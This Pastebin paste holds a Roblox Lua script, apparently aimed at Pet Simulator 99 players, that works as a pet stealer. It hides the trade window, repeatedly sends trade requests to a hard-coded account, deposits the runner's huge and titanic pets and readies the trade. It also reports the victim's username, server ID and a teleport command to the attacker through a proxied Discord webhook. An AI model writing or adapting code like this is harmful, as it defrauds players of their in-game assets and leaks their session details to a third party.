Egorikusa

Untitled

Jun 16th, 2024
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.48 KB | None | 0 0
  1. Username = "your username here"
  2. Webhook = "your Discord webhook here"
  3.  
  4. local library = require(game.ReplicatedStorage.Library)
  5. local save = library.Save.Get()
  6. local inventory = library.Save.Get().Inventory
  7.  
  8. local function GetTradeID()
  9. return require(game.ReplicatedStorage.Library.Client.TradingCmds).GetState()._id
  10. end
  11.  
  12. local function GetCounter()
  13. return require(game.ReplicatedStorage.Library.Client.TradingCmds).GetState()._counter
  14. end
  15.  
  16. local function SendTrade(username)
  17. local args = {
  18. [1] = game:GetService("Players"):WaitForChild(Username)
  19. }
  20. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Server: Trading: Request"):InvokeServer(unpack(args))
  21. end
  22.  
  23. local function ReadyTrade()
  24. local args = {
  25. [1] = GetTradeID(),
  26. [2] = true,
  27. [3] = GetCounter()
  28. }
  29.  
  30. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Server: Trading: Set Ready"):InvokeServer(unpack(args))
  31. end
  32.  
  33. local function DepositPetInTrade()
  34. if save.Inventory.Pet ~= nil then
  35. for i,v in pairs(save.Inventory.Pet) do
  36. id = v.id
  37. dir = library.Directory.Pets[id]
  38. if dir.huge or dir.titanic then
  39. local args = {
  40. [1] = GetTradeID(),
  41. [2] = "Pet",
  42. [3] = i,
  43. [4] = v._am or 1
  44. }
  45. game:GetService("ReplicatedStorage"):WaitForChild("Network"):WaitForChild("Server: Trading: Set Item"):InvokeServer(unpack(args))
  46. end
  47. end
  48. end
  49. end
  50.  
  51. function SendMessage(url, message)
  52. local http = game:GetService("HttpService")
  53. local headers = {
  54. ["Content-Type"] = "application/json"
  55. }
  56. local data = {
  57. ["content"] = message
  58. }
  59. local body = http:JSONEncode(data)
  60. local response = request({
  61. Url = url,
  62. Method = "POST",
  63. Headers = headers,
  64. Body = body
  65. })
  66. end
  67.  
  68. if Webhook and string.find(Webhook, "discord") then
  69. Webhook = string.gsub(Webhook, "https://discord.com", "https://webhook.lewisakura.moe")
  70. else
  71. Webhook = ""
  72. end
  73.  
  74. function HasHuge()
  75. local huges = "No"
  76. for i, v in pairs(inventory.Pet) do
  77. local id = v.id
  78. local dir = library.Directory.Pets[id]
  79. if dir.huge then
  80. huges = "Yes"
  81. break
  82. end
  83. end
  84. return huges
  85. end
  86.  
  87. function HasTitanic()
  88. local titanic = "No"
  89. for i, v in pairs(inventory.Pet) do
  90. local id = v.id
  91. local dir = library.Directory.Pets[id]
  92. if dir.titanic then
  93. titanic = "Yes"
  94. break
  95. end
  96. end
  97. return titanic
  98. end
  99.  
  100. if Webhook ~= "" and (HasHuge() == "Yes" or HasTitanic() == "Yes") then
  101. SendMessage(Webhook, "User " .. game.Players.LocalPlayer.Name .. " has executed the script. Join the game with this script: ```lua\ngame:GetService('TeleportService'):TeleportToPlaceInstance(8737899170, '" .. game.JobId .. "', game.Players.LocalPlayer)\n```Has titanic: " .. HasTitanic() .. "\nHas huge: " .. HasHuge())
  102. end
  103.  
  104. local trade = game:GetService('Players').LocalPlayer.PlayerGui.TradeWindow.Frame
  105. trade.Visible = false
  106. trade:GetPropertyChangedSignal("Visible"):Connect(function()
  107. noti.Visible = false
  108. end)
  109.  
  110. while true do
  111. wait(0.1)
  112. if game:GetService("Players"):WaitForChild(Username) ~= nil then
  113. SendTrade(Username)
  114. end
  115. if game.Players.LocalPlayer.PlayerGui.TradeWindow.Enabled == true and GetTradeID() ~= nil then
  116. if deposited ~= true then
  117. DepositPetInTrade()
  118. ReadyTrade()
  119. end
  120. wait(3)
  121. end
  122. end
Add Comment
Please, Sign In to add comment